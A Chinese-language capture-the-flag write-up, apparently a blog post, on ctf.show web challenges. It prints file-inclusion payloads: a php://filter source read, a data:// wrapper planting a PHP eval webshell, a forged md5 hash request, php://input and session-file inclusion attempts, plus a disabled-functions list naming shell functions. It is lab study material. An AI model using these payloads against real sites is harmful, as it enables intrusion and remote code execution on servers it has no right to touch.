之前做了一个第二个做不出来,现在看了一下很简单的一个题目嘛
不知所措.jpg
进来发现这个东西怎么都会进行拼接,是GET参数
1 | https://5c3c22f3-7a3b-4d44-8a4c-282e78913487.challenge.ctf.show/?file=php://filter/convert.base64-encode/resource=test/../index. |
1 |
|
想直接包含根目录的flag但是好像不叫flag.php
那么这里可以试着data来写一下马,直接base64还不好说,还不如不用
1 | https://5c3c22f3-7a3b-4d44-8a4c-282e78913487.challenge.ctf.show/?file=data://text/plain,<?=eval($_GET[a]);?>test&a=phpinfo(); |
easyshell
1 | <!--md5($secret.$name)===$pass --> |
1 | GET /?name=wi&pass=7d00249b47947e33ddae906c7fd90fe6 |
但是我抓包用yakit居然没有抓到这个cookie后面F12才看到的,得到flflflflag.php
浏览器还不能直接访问,就是看到能包含file参数
1 | <html> |
1 | //index.php |
1 | //config.php |
1 | //flflflflag.php |
什么也没看到,利用session文件包含来打,因为版本我看了是7.0.33,可以利用只要上传了就会生成文件
想利用二次编码直接用inputRCE的,结果没有成功
1 | POST /flflflflag.php?file=php://%69%6e%70%75%74 |
只能打session,经过尝试发现不能直接打命令,写马还是(版本有点低,有些写法还不支持)
1 | import io |
1 | pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,scadnir,readfile,show_source,fpassthru,readdir |
原来有很多disablefunction这个我们用插件绕过一下就行了